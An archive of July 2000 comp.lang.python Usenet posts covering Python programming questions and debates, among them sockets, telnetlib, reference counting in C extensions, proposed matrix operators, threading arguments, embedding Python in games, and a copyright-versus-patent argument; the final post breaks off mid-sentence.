> What do you think are the top ten language constructs in Phyton ?
> Please don't answer in terms of OO concepts, but try to restrict
> yourself to those statements you really use to cope with your
> daily work.
> 
> Curious why I'm asking this question? In spite of all requirements
> engineering effort we know exactly *how* to solve problems
> with computer languages but know fairly, *what* we're doing
> during this process.

What do you mean by "language constructs", Python keywords
like "for" or "class"? Are you expecting some statistics of
used keywords over one's own code? 

I doubt this will be very useful, like the answer to the 
question: "Which are the ten most used words in English?". 
But maybe I'm not understanding well how you think you'll
benefit from such an answer...

Regards,

Dinu

PS: TOP-1 is "Python"! ;-) 

-- 
Dinu C. Gherman
................................................................
"The only possible values [for quality] are 'excellent' and 'in-
sanely excellent', depending on whether lives are at stake or 
not. Otherwise you don't enjoy your work, you don't work well, 
and the project goes down the drain." 
                    (Kent Beck, "Extreme Programming Explained")


From R.Brodie at rl.ac.uk  Wed Jul  5 13:01:24 2000
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Wed, 5 Jul 2000 18:01:24 +0100
Subject: Telnetlib
References: <8jvnjs$f2l$1@nnrp1.deja.com>
Message-ID: <8jvpl5$va4@newton.cc.rl.ac.uk>

<vxgvxg at my-deja.com> wrote in message news:8jvnjs$f2l$1 at nnrp1.deja.com...

> When using any of the telnetlib read functions (such as read_all(),
> read_until(), etc.), the 0x00's seem to be dropped from the data
> stream.  Any ideas?

You are aware of the NVT transformations TELNET uses, e.g. replacing
CR/NL by NL?




From db3l at fitlinxx.com.bbs  Mon Jul 17 21:30:03 2000
From: db3l at fitlinxx.com.bbs (db3l at fitlinxx.com.bbs)
Date: 18 Jul 2000 01:30:03 GMT
Subject: Getting local IP address...
Message-ID: <3bRWGT$m1Y@openbazaar.net>

Mike Fletcher <mfletch at tpresence.com> writes:

> import socket
> def getLocalHostIP( remote = ("www.python.org", 80)):
> 	'''Get the "public" address of the local machine, i.e.
> 	that address which is connected to the general internet.
> 	Code by Donn Cave, posted to comp.lang.python'''
> 	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> 	s.connect( remote )
> 	ip, localport = s.getsockname()
> 	s.close()
> 	return ip
>
> That is actually from a Deja posting, seems to be fairly portable, doesn't
> rely on parsing obscure Unix command responses, is readable, and is
> generally quite reliable.

But has a pretty large (IMHO) negative that you are making a wasted
network connection to an external server that has to spend time
setting up and tearing down TCP with you for no reason.  That seems a
pretty high overhead to pay just to determine what is essentially a
locally configured piece of information.  If you are in charge of your
own server that you are using I suppose that's one thing, but it seems
a big waste if you're connecting to someone else's.

Unfortunately, really determining a local configured address just
isn't that portable a thing from my experience.  Probably the closest
would be the SIOCGIFCONF IOCtl (for Unix systems) as previously
posted.  There is an Windows socket IOCtl that is similar
(SIO_ADDRESS_LIST_QUERY), but I'm not sure how best to get to it from
Python, aside from something like a CallDLL approach.

While without an alternative that is portable as the above example
makes it hard to come out too strong against it, I did want to point
out that while it may be portable and readable, it has negatives on
the network side in terms of wasted connections.  I built backbones in
a prior life, and I sort of cringe to think of tons of user code
suddenly starting to do stuff like the above :-)

--
-- David
--
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From amk at mira.erols.com  Sun Jul 16 12:35:32 2000
From: amk at mira.erols.com (A.M. Kuchling)
Date: 16 Jul 2000 16:35:32 GMT
Subject: Python equivalent of CPAN in Perl
References: <397122FB.71E32674@wl.vg> <8krfa9$vf4$1@nntp9.atl.mindspring.net> <PKYoxIA+wXc5EwNL@jessikat.fsnet.co.uk>
Message-ID: <slrn8n3pmq.h5.amk@207-172-96-22.s276.tnt1.ann.va.dialup.rcn.com>

On Sun, 16 Jul 2000 10:11:26 +0100, 
	Robin Becker <robin at jessikat.fsnet.co.uk> wrote:
>Unfortunately not true. A large share of the Python market (on win32)
>have no compilers and probably wouldn't/couldn't use one even if it were
>present. I doubt the extension builders will always want to include
>.pyds for Python15.dll Python20.dll etc etc.

The Distutils include commands to build binary distributions,
including a Windows installer (bdist_wininst, by Thomas Heller) and
RPMs (bdist_rpm, by Harry Henry Gebel).  If your package contains only
Python code, you could even build the Windows installer for it on Unix.

--amk


From ge at nowhere.none  Fri Jul 14 13:51:45 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 14 Jul 2000 17:51:45 GMT
Subject: raw socket exapmle?
References: <woFb5.1075$6E.147665@ptah.visi.com> <rFGb5.1091$6E.150413@ptah.visi.com>
Message-ID: <RqIb5.1107$6E.155450@ptah.visi.com>

In article <rFGb5.1091$6E.150413 at ptah.visi.com>, Grant Edwards wrote:

>After looking at the source code for the socket module in 1.52
>and 1.6a2, it doesn't look like either RAW or PACKET sockets
>are supported.
>
>Darn.  Maybe I'll work on that.  It should be pretty trivial to
>add for Linux.

I've decided to add support for Linux "packet" sockets to the
socket module.  I presume most other Unices support some sort
of packet interface to Ethernet devices (libpcap is probably
the source for definitive examples).  I've no clue about Win32
or MacOS.

Example usage will be something like:

  s = socket(AF_PACKET,SOCK_RAW[,0x11fe])
  s.bind(('eth0'[,0x11fe]))

Where 'eth0' is the name of the network interface to which the
socket should be bound, and 0x11fe is the Ethernet protocol
number of interest.

Comments and suggestions will be accepted until I get back from
the pop machine...

-- 
Grant Edwards                   grante             Yow!  BEEP-BEEP!! I'm a
                                  at               '49 STUDEBAKER!!
                               visi.com            


From g2 at seebelow.org  Mon Jul 31 17:48:02 2000
From: g2 at seebelow.org (Grant Griffin)
Date: 31 Jul 2000 14:48:02 -0700
Subject: to close or not to close?
Message-ID: <8m4s6i$2sdk@drn.newsguy.com>

Hi Gang,

Forgive me if this is a FAQ, but is it considered good Python form to close a
file whose variable is just about to go out of scope (and thus be automatically
closed)?  Or should one just omit that?

tempted-to-omit-needless-code-ly y'rs,

=g2

_____________________________________________________________________

Grant R. Griffin                                       g2 at dspguru.com
Publisher of dspGuru                           http://www.dspguru.com
Iowegian International Corporation            http://www.iowegian.com



From grey at despair.rpglink.com  Thu Jul 27 23:35:19 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 03:35:19 GMT
Subject: Perl is worse! (was: Python is Wierd!) 
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com>
Message-ID: <slrn8o1vnl.vnr.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 03:29:06 GMT, Steve Lamb <grey at despair.rpglink.com> wrote:
>Seriously, that isn't to say that None should be restricted from being
>changed, just, uh, anyone know how to change it back aside from restarting
>python?  :)

    Hmmm, well one way I found was:

a = None
None = 1
None
None = a
None

    Is there another None like there is stdin and __stdin__ (I think that is
it), et al?
-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From c825934 at vitgcab4.telstra.com.au  Tue Jul 18 18:32:28 2000
From: c825934 at vitgcab4.telstra.com.au (c825934 at vitgcab4.telstra.com.au)
Date: Tue, 18 Jul 2000 22:32:28 GMT
Subject: newbie urlopen() question
Message-ID: <8l2lts$fln$1@nnrp1.deja.com>

I have a simple file on my A drive (in the root) called 1.htm.

Why doesn't the following code succeed in opening the file? (It works
fine if I assign a valid http address to url. But when I assign the
address below the IOError occurs):

import urllib
url="a:1.htm"

try:
    f = urllib.urlopen(url)
    print f.read()
except IOError:
    print "Could not open " + url

Any help much appreciated.

Peter Dann
Melbourne, Australia


Sent via Deja.com http://www.deja.com/
Before you buy.


From invalid.address at 127.0.0.1  Wed Jul  5 13:32:27 2000
From: invalid.address at 127.0.0.1 (David)
Date: Wed, 05 Jul 2000 17:32:27 GMT
Subject: Python 2.0?
References: <8jvgdi$95f$1@nnrp1.deja.com>
Message-ID: <396370ab.10899776@news.telus.net>

I've read that CNRI is giving the newly-formed PythonLabs a hard time about
the release of Python v2.0.
 
What's up with that?  Isn't Python's license a completely free and clear
one, such that no one can limit its distribution or use?
 
More importantly, what can the public community do to support Guido 'n da
boyz?  CNRI can't be allowed to bugger up Python's future!



From m.faassen at vet.uu.nl  Tue Jul 11 11:46:34 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 11 Jul 2000 15:46:34 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395E05CD.E38F642C@webamused.com> <396b3f42.316716812@nntp.interaccess.com> <Q4da5.125085$WS3.1096765@typhoon.we.rr.com> <396c0bf6.369120718@nntp.interaccess.com>
Message-ID: <8kffgq$k2a$1@newshost.accu.uu.nl>

Thaddeus L. Olczyk <olczyk at interaccess.com> wrote:
> On Mon, 10 Jul 2000 05:22:56 GMT, "Stephen Hansen"
> <stephen at cerebralmaelstrom.com> wrote:

>>You can't copyright a
>>'concept' or an 'idea'. You can copyright your perticular application of
>>said idea or concept.

> Class A moron.

That was completely unwarranted.

> Read some verdicts and get a clue.

That is too. If you feel the urge to flame, reconsider and talk about how
acquisition and inheritance can both be modelled by containment, or talk
about what came first, RNA-life or protein life (or something else). And
don't flame. :)

> Yes you can.

You cannot copyright ideas. You can only copyright expressions of
ideas. You can *patent* certain ideas, though. Traditionally this too
was only limited to particular implementions, but recently 
this has been eroded severely; we've seen the patenting of various
algorithms and even simpler computer related stuff, and even business
methods such as 'the downloading of music' or 'one-click shopping'.

Copyright has however nothing to do with this. Let's take for instance
take this, from US copyright act selections, at:

http://cyber.law.harvard.edu/property/library/copyrightact.html

(b) In no case does copyright protection for an original work of authorship
extend to any idea, procedure, process, system, method of operation,
concept, principle, or discovery, regardless of the form in which it is
described, explained, illustrated, or embodied in such work.

This seems pretty clear. The Berne convention on copyright itself doesn't
seem to specify this explicitly. It says this:

  The expression "literary and artistic works" shall include every production
  in the literary, scientific and artistic domain, whatever may be the
  mode or form of its expression, such as [snip big list]

I.e. people have certain rights to determine what happens with their 
production, whatever form of expression it may be. It only covers productions,
though, not what caused the production to happen.

Ideas-are-free-and-let's-keep-it-that-way-ly yours,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From dgoodger at bigfoot.com  Tue Jul 18 00:07:30 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Tue, 18 Jul 2000 00:07:30 -0400
Subject: pty.py: any example code out there?
Message-ID: <B5995041.6490%dgoodger@bigfoot.com>

I'm looking for some concrete examples of the use of pty.py or any
equivalent. I've written a wrapper for the passwd program on QNX (a
POSIX-compliant realtime OS), and passwd is reluctant to be wrapped, writing
directly to the console/tty/pty, bypassing stdin/out. My wrapper currently
uses telnetlib.py to do its dirty work, but it's a kludgey solution. Any
samples, examples, pointers, hints or tips out there? Thanks in advance!

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From miguel at apex.ccs.yorku.ca  Wed Jul 12 11:00:47 2000
From: miguel at apex.ccs.yorku.ca (Miguel Marques)
Date: 12 Jul 2000 11:00:47 -0400
Subject: Beginner's question about reference counts...
Message-ID: <yor1z0zfl5s.fsf@apex.ccs.yorku.ca>

Greetings...

I'm in the process of learning python and I have a question on writing
extensions.
Given the following code snippet where d is a Dict

  PyObject *newdict = PyDict_New();

  PyDict_SetItemString(d, "stuff", newdict);

Since I won't use newdict again in the function, I just want it to be
accessible through the 'd' dictionary, do I need to add a
Py_DECREF(newdict) after the PyDict_SetItemString?
I think I need to, because PyDict_SetItemString INCREFs both keys and
values and otherwise the reference count for newdict will off by one?
Is this the case or am I totally off the mark?
TIA

                                                        Miguel

-- 
C. Miguel Marques, York University, Computing & Communications Services
e-mail: miguel at yorku.ca, voice: (416)736-2100x22684, fax: (416)736-5830


From bvdpoel at uniserve.com  Wed Jul 19 13:22:29 2000
From: bvdpoel at uniserve.com (Bob van der Poel)
Date: Wed, 19 Jul 2000 10:22:29 -0700
Subject: tkinter: font measure()
Message-ID: <3975E3D5.36CB58D4@uniserve.com>

Anyone know how to use the font measure() thing in tkinter? From what I
can gather you have to apply this as a method on a font object, but I
don't see how to get the object. All I want to do is to determine the
display width of a text string. I tried just using measure('my text')
but that would be too easy...

Thanks.

BTW, I'm converting a tcl/tk program to python/tkinter. I am amazed by
how much faster the python stuff is compared to tcl. Add in the fact
that I can actaully read my code from yesterday...


-- 
   __
  /  )      /         Bob van der Poel
 /--<  ____/__        bvdpoel at uniserve.com
/___/_(_) /_)         http://users.uniserve.com/~bvdpoel



From johann at physics.berkeley.edu.bbs  Mon Jul 17 23:20:07 2000
From: johann at physics.berkeley.edu.bbs (johann at physics.berkeley.edu.bbs)
Date: 18 Jul 2000 03:20:07 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRZA8$jD_@openbazaar.net>

Charles Boncelet writes:

>> - that many problems can be reduced to matrix operations is
>> a non-argument, since the same is true of functional/
>> procedural/oo/predicate programming.

> I agree, but there is a big userbase waiting for an alternative
> to the $$ Matlab.

Octave is already there as a free alternative, so I doubt python will
attract many of those people.

Personally, I find that the matrix-orientation of Matlab makes it
harder to get things done.  I more often have 3 or higher dimensional
arrays than I have plain old 2D matrices, so I'd rather see the more
general Numeric Python syntax than any over-specialized matrix code.

When you're contracting a 4-tensor with a vector, you almost need an
index-based notation.

As it is, the only things missing from NumPy is an easy spelling of
matrix-matrix multiplication, and if you really need that, you can
just define your own class to do it.

--
Johann Hibschman                           johann at physics.berkeley.edu


From bragib at my-deja.com.bbs  Mon Jul 17 16:40:04 2000
From: bragib at my-deja.com.bbs (bragib at my-deja.com.bbs)
Date: 17 Jul 2000 20:40:04 GMT
Subject: Multiline strings and indentation
Message-ID: <3bROc4$kyD@openbazaar.net>

Can't you do someting like this.
def multiline(x):
    if x:
         print "this is a"\
               " multi-line string that spans"\
               " three lines"
         print "another string"



Sent via Deja.com http://www.deja.com/
Before you buy.


From olipt at mayo.edu  Thu Jul 20 12:30:41 2000
From: olipt at mayo.edu (Travis Oliphant)
Date: Thu, 20 Jul 2000 11:30:41 -0500
Subject: Discussion: new operators for numerical computation
In-Reply-To: <3976CA26.AAAC8C3F@fft.be>
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m2u2dl1xf4.fsf@spiff.home.com> <3976CA26.AAAC8C3F@fft.be>
Message-ID: <Pine.LNX.4.10.10007200949470.17681-100000@us2.mayo.edu>

Three choices I've seen for the new operators so far:

	Operators 1	Operators 2	Operators 3	Name
	   .*	            @              (*)          matmul
	   ./               @/             (/)          matdiv
           /.               /@             ?????        matsol
           .**              @@             (**)         matpow

I agree that .+ and .- are not necessary.

I like #3 best (assuming something can be invented for matsol).  If not,
then #2 looks O.K. 

I think that .* could only mean matrix-wise and agree that it would
confuse any current Matlab users and so we should not use it.

Travis Oliphant




From donn at u.washington.edu  Thu Jul 27 20:06:27 2000
From: donn at u.washington.edu (Donn Cave)
Date: 28 Jul 2000 00:06:27 GMT
Subject: "always passes by reference"
References: <8lqd0p$snj$1@news.dtc.hp.com> <LNBBLJKPBEHFEDALKOLCIEENGMAA.tim_one@email.msn.com>
Message-ID: <8lqiq3$7iha$1@nntp6.u.washington.edu>

Quoth weeks at golden.dtc.hp.com ((Greg Weeks)):
...
| Also, the function call f(x) is by-value.  The function receives the object
| that has been written into the variable x.  If the object is mutable -- ie,
| if there is some way to modify the region of storage addressed by the
| object -- then the function may change the *state* of the object.  But the
| function can not write a different object into the variable x.
|
| So, the distinction between "objects" and "references to objects" is not
| *necessary*.  Whether or not it is *desirable* is to some degree a matter
| of taste.

Your account of the system doesn't work for me.

    def f(x, t):
        x = t

Where is the "the variable x"?  Did f() just write a different object
into it?  Well, in any practical sense, x does have a new value.

Except, if t was actually the same value as x.  Now this leads to the
question, does that mean equivalent object?  Or it could be the same
object!

How can x and t both refer to the same object, at the same storage
location if you like, without making a distinction between objects
and references to objects?  How can x acquire the value of t, without
overwriting the object that was its previous value?

Mutability is not an issue here.  No object is mutable in the sense
of changing its identity in any way.  When we use this term, we're
really talking about containers and limits to their contents.  A few
allow contents to be added or subtracted, but that makes no difference
in how they are treated as objects.

A Python program is a system.  Objects are nodes in that system,
things with properties.  References are the connections that define
their existence within the system.  Neither is meaningful without
the other, but in no way are they the same.

I have also seen the term "binding" used (as a noun) in what looks
like a similar context.  Sounds like a lot more work though, binding
and unbinding things all the time, when a person could simply refer
to them.

	Donn Cave, donn at u.washington.edu


From digitig at cix.co.uk  Mon Jul 24 16:04:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Mon, 24 Jul 2000 21:04 +0100 (BST)
Subject: Operators for everything (was Re: Operators for matrix)
References: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <memo.20000724210456.47597A@digitig.compulink.co.uk>

In article <m3em4ld5t3.fsf at atrus.jesus.cam.ac.uk>, mwh21 at cam.ac.uk 
(Michael Hudson) wrote:

> Sorry, but eh?  I fail to understand you, I think.
> 
> Example usage of what I'm talking about:
> 
> def add(x,y):
>     return x + y
> 
> 1 @add 1
>   ==> 2

My problem is that identifiers that refer to overloaded infix operators 
must begin with a @ (and presumably any identifier beginning with @ must 
be an overloaded infix operator). Hey, why not force integers to begin 
with a %, strings with a $...

I don't like it because it makes programs harder to read. One of the 
reasons I don't like Perl is that it tends to look as if the whole program 
is obscene and has been censored with $@**!& special symbols! One of the 
advantages of Python is that there is little of this nonsense, and I would 
hate to see it added to. I don't think extensible infix is worth it.

By the way, /I'd/ expect x add y to set x to x + y, leave y alone and 
return None (or x + y if this were comp.lang.c). I'd expect x plus y to 
have the behaviour you expect of add. I'm undecided whether that's a 
problem with infix or the perennial problem of choosing good identifiers!


From peter at schneider-kamp.de  Fri Jul 14 07:09:53 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Fri, 14 Jul 2000 11:09:53 +0000
Subject: atof problem.
References: <yUqb5.977$tI4.52638@bgtnsc05-news.ops.worldnet.att.net> <slrn8msrkq.7cg.jblaine@kickflop.ne.mediaone.net> <zIvb5.2585$tI4.159707@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <396EF501.5F1EF171@schneider-kamp.de>

William Dandreta wrote:
> 
> Hi Jeff,
> 
> I guess my question was poorly worded. I was looking for the way to set the
> internal thousands separator to a comma so atof('1,142.00') results in
> 1142.00. It's clear from the doc's that it is posssible to do but it doesn't
> give enough info for me to figure out how.

Can you cite the part of the Docs that say this?

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From olivierS.dagenaisP at canadaA.comM  Sat Jul 22 11:41:49 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sat, 22 Jul 2000 15:41:49 GMT
Subject: iterating over lines in a file
References: <Pine.GSO.4.10.10007220929190.6527-100000@sundial> <3979BF4C.6C60E636@roguewave.com>
Message-ID: <1hje5.11204$Z43.122073@news20.bellglobal.com>

Supposing it evaluates to 0 (false).  Now, everything_is_ok is equal to
zero, so the next time you evaluate it...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Bjorn Pettersen" <bjorn at roguewave.com> wrote in message
news:3979BF4C.6C60E636 at roguewave.com...
> Moshe Zadka wrote:
> >
> > On Fri, 21 Jul 2000, Gareth McCaughan wrote:
> >
> > > Moshe Zadka wrote:
> > >
> > > > Preventing world war III, when Python achieves world domination.
> > > > If C is allowed to achieve world domination, WWIII will be cause by
> > > >
> > > > if(everything_is_ok = 0) {
> > > >     launch_missile();
> > > > }
> > >
> > > No, that will *prevent* WW3 happening when it was supposed to.
> > > Where do I sign up for the campaign to help C dominate the
> > > world? :-)
> >
> > You probably need to reread the condition.
>
> Probably not... Since 0 (zero) is false, and the result of an assignment
> expression in the rhs, you would never execute the block...
>
> -b
>




From esr at thyrsus.com  Thu Jul 27 15:56:03 2000
From: esr at thyrsus.com (Eric S. Raymond)
Date: Thu, 27 Jul 2000 15:56:03 -0400
Subject: PEP 201
In-Reply-To: <14720.35958.632383.574511@anthem.concentric.net>; from bwarsaw@beopen.com on Thu, Jul 27, 2000 at 03:24:38PM -0400
References: <14720.35958.632383.574511@anthem.concentric.net>
Message-ID: <20000727155603.D9683@thyrsus.com>

Barry A. Warsaw <bwarsaw at beopen.com>:
> Here is the latest PEP 201, updated based on conversations with Guido
> yesterday.  Notice that there are no more Open Issues.

Excellent.  I have no remaining issues or hesitations about this PEP
and am happy to see it resolved.  Three cheers for Guido and everybody
else who worked hard to make this fly!
-- 
		<a href="http://www.tuxedo.org/~esr">Eric S. Raymond</a>

The right to buy weapons is the right to be free.
        -- A.E. Van Vogt, "The Weapon Shops Of Isher", ASF December 1942



From pauljolly at my-deja.com  Mon Jul 31 05:29:13 2000
From: pauljolly at my-deja.com (pauljolly at my-deja.com)
Date: Mon, 31 Jul 2000 09:29:13 GMT
Subject: Removing whitespace
Message-ID: <8m3gt7$h1k$1@nnrp1.deja.com>

Dear All,

Firstly, apologies for all the questions! However, extensive searching
and reading of manuals has not helped me here. How does one remove
whitespace characters from a string (using the re module)? I have tried
using the re.compile('\s*') method, followed by the split() function
but no success. Any help much appreciated with example code is possible.

Regards,

Paul Jolly


Sent via Deja.com http://www.deja.com/
Before you buy.


From m.faassen at vet.uu.nl  Fri Jul 21 11:01:40 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 21 Jul 2000 15:01:40 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l6qt4$89p$1@fermi.tro.net> <8l74db$hs6$1@newshost.accu.uu.nl> <8l7f69$bon$1@fermi.tro.net>
Message-ID: <8l9okk$7bm$1@newshost.accu.uu.nl>

In comp.lang.python Moritz Voss <nospam at buzzoff.com> wrote:
> "Martijn Faassen" <m.faassen at vet.uu.nl> schrieb im Newsbeitrag
> news:8l74db$hs6$1 at newshost.accu.uu.nl...
>> In comp.lang.python Moritz Voss <nospam at buzzoff.com> wrote:
>>
>> I was pointing out that it is often *not* a problem. Premature
>> optimization,
>> even in game programming, is not a good idea. While Python is slow
>> compared to C code, if the same algorithm is used, you can:
>>
>>   * use smarter algorithms much more easily in Python. Especially since
>>     Python allows rapid prototyping.
>>
>>   * offload the time critical bits to C.

> Maybe I don't get the python concept.

There's not a real 'concept' involved, it's just that since most of the
CPU time is spent in 10% of the code, you can do the 90% of the *rest* of
the code in something that's easy to program in. :)

> Do you link it statically? Or is the interpreter *.exe invoked every time?

You can link it dynamically or statically. You just invoke the right
C function, which calls the interpreter.

> We came from dos, counting every clock we spent using 90% assembly in our
> software. Until we were struck that our texturing algorithm sucked (and
> anyway, 3d accelerators were coming up and I already had one...)...

This would be an example of 10% of the code taking up lots of the time,
right? 

>> >> From a game programming perspective, you can probably consider Python
> to
>> >> be dirt-slow, though. The trade-off is a lot of power for speed, but
>> >> that power can help you gain back speed because you can be a lot
> smarter.

> Yes and no. Just because I have encapsulation and overloaded operators, that
> does not mean my program is going to be faster than a program that performs
> the same task in assembly or C.

No, especially not when you have it in C++. :) If you have a
*rapid prototyping language*, in which it is very easy to set up something
complicated or change around your code, you have more time to experiment
with different algorithms and strategies than if you do it all in,
say, C, or assembler.

>> > Thanks :) So designing my own scripting language is easier.
>>
>> That's of course not true; designing your own scripting language will
>> most likely result in an ad-hoc broken design. Look at all the various

> Now, my own language would be an assembler-style thing.
[snip]

All right, I wouldn't call this a 'scripting language' so much as a 
virtual machine language, then. It won't be easy to program in, and if
I want to do high-level things you'll at best be limited to something
you thought of to put in, and at worst I'm going to be frustrated.

> So what I have is my program that consists of a huge bunch
> pointers to C functions (which can have any level of complexity). These
> would just be loaded, and called, loaded, and called. I'm not going into the
> depths of this here but passing parameters and references is not a problem.

I understand the concept. The last such language I did though was designed
to be optimized by the *machine* in an artificial life context; and I certainly
had a hard time reading the result. :)

Python is about humans.

[snip]
> A caveat here: The unit scripts will be lengthy, having units check engine
> and gun temperature (and move into the shade or cease fire), check whether
> they can go down that hill after it has started rainign, have them
> communicate targetting info or even orders to other units, calculate the
> lead for their next shots, return to a repair base via the safest way....

[snip]
> So that kinda requires a language that is not absolutely basic,
> like my ASM concept. :)

Agreed, a higher level language would be convenient in this case. It
basically depends on how often you expect the Python functions to be
called. And on measurements; sometimes you expect something's too slow
and it isn't, and the other way around.

> I'll play around with python, but I found the way to embed it totally
> confusing. (That is, of course, because I have never worked with embedded
> languages yet). Also, I find no tutorial that clearly tells me how to change
> my C variable "X" from within my Python program "Y" that is invoked by the C
> Program.

You do that through a C wrapper API. You write a bunch of wrapper functions
in C, and Python can talk to those wrapper functions to manipulate your
program state (or access it).

>> Of course you can do it right too, but it'll cost lots of time and is
>> definitely not easier.

> I agree. I don't want to reinvent the wheel.

[snip]
>> I think this focus on speed is even for a game programmer the wrong
>> approach. It's only too slow when you find it's too slow. You haven't
>> found out Python's too slow for your purposes yet.

> Hey! We coded a long time to get the engine to run at 300 fps with some
> graphics load. We don't want the micro-AI scripting part to slow it down.

All right, if it's the type of thing you describe it makes sense to
use somekind of assembler like code. Still, I'd like to see some benchmarks
first; perhaps it'll be okay.

> That is the AI clients's job. :-)

> I think I'll go with Python, and if the performance problems become
> dominant, I'll check that ASM concept of mine.

Right; I don't think much time will be lost if you do this. Though you're
on a learning bump now, I don't think Python's that hard to embed, and I
think that it's fairly easy to swap out the parts that Python's too slow
for with your ASM concept.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From tony at lsl.co.uk  Thu Jul 13 05:43:34 2000
From: tony at lsl.co.uk (Tony J Ibbs (Tibs))
Date: Thu, 13 Jul 2000 10:43:34 +0100
Subject: Ooh, off topic, really
Message-ID: <004a01bfecae$cfbba8b0$f0c809c0@lslp7o.lsl.co.uk>

Yesterday I had to go into town, and went into a local discount bookstore
(because they had a book on Steiff toys which I bought for my other half).

Anyway, they also had a Dorling Kindersley book I had to buy - it's a slim
large format hardback called "Snake Book", and the centrefold (yes, it does
fold out) is of a lovely reticulated python. DK don't seem to list the book
on their site, but Amazon list it at

http://www.amazon.com/exec/obidos/ASIN/0789415267/qid=963480776/sr=1-8/104-0
197914-6420759

	[I bet Outlook <fx:spit> will split that - sorry]

at a similar sort of remainder price (allowing for dollar/pound vagaries as
one does). Now I need to go out and look for Chris Mattison's "Snake"
	http://www.dk.com/uk/shared/product.asp?ISBN=0751306584
as well...

obOnTopic - it was also nice to note that the local Waterstone's is
obviously doing a reasonable turnover on Python books. They've sold at least
2 or 3 copies of the Python Essential Reference (and 2 more back on shelf),
at least a couple of Python in 24 hours (one to me - it's fun), and at least
2 of the Python and Tkinter book (by observation of what was on the shelves
and now isn't). OK, it's Cambridge UK, but that's still not bad.

Tibs

--
Tony J Ibbs (Tibs)      http://www.tibsnjoan.demon.co.uk/
"Bounce with the bunny. Strut with the duck.
 Spin with the chickens now - CLUCK CLUCK CLUCK!"
BARNYARD DANCE! by Sandra Boynton
My views! Mine! Mine! (Unless Laser-Scan ask nicely to borrow them.)




From victor at prodigy.net  Fri Jul 14 23:19:06 2000
From: victor at prodigy.net (Victor Muslin)
Date: Sat, 15 Jul 2000 03:19:06 GMT
Subject: using threading module
References: <396fd2ff.3598724@news.prodigy.net> <8kokjv$tjf$1@slb7.atl.mindspring.net>
Message-ID: <396fd7fe.4877753@news.prodigy.net>

Ok, that worked. What gives? The documentation does not make this clear.

On 15 Jul 2000 03:08:47 GMT, aahz at netcom.com (Aahz Maruch) wrote:

>In article <396fd2ff.3598724 at news.prodigy.net>,
>Victor Muslin <victor at prodigy.net> wrote:
>>
>>I tried using the threading module with the following simple program:
>>
>>	#!/usr/bin/python
>>
>>	from threading import *
>>
>>	reps = 10
>>
>>	def f1(msg='xxx'):
>>		for i in range(0, reps):
>>			print 'f1', msg, i
>>
>>	t1 = Thread(target=f1,args=('bar'))
>>	t1.start()
>
>Try
>	t1 = Thread(target=f1,args=('bar',))
>
>Note the extra comma.
>--
>                      --- Aahz (Copyright 2000 by aahz at netcom.com)
>
>Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
>Hugs and backrubs -- I break Rule 6
>
>"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
>"Pop-Up Videos is not on MTV, it's on VH-1."
>"'MTV' is a generic."



From sharris at nospam.primus.com  Mon Jul 17 13:11:14 2000
From: sharris at nospam.primus.com (Steven E. Harris)
Date: Mon, 17 Jul 2000 17:11:14 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8knhql$lpi$1@nnrp1.deja.com> <8knl04$1c9b$1@pc-news.cogsci.ed.ac.uk> <8kq8kc$guk$1@nnrp1.deja.com> <8kt2qd$22i7$1@pc-news.cogsci.ed.ac.uk>
Message-ID: <svsnt8y9fm.fsf@hodge.primus.com>

richard at cogsci.ed.ac.uk (Richard Tobin) writes:

[...]

> None, except to directly model the XML Schema specification which
> talks in terms of adding properties to info items in an existing
> infoset.

Perhaps the "Envelope-Letter Idiom" is applicable here, provided that
clients of the validation transformation don't need to know the
precise type of the grove nodes.

Which raises a different idea: Would a generic "get/set property"
interface be acceptable? In that way, the additional properties
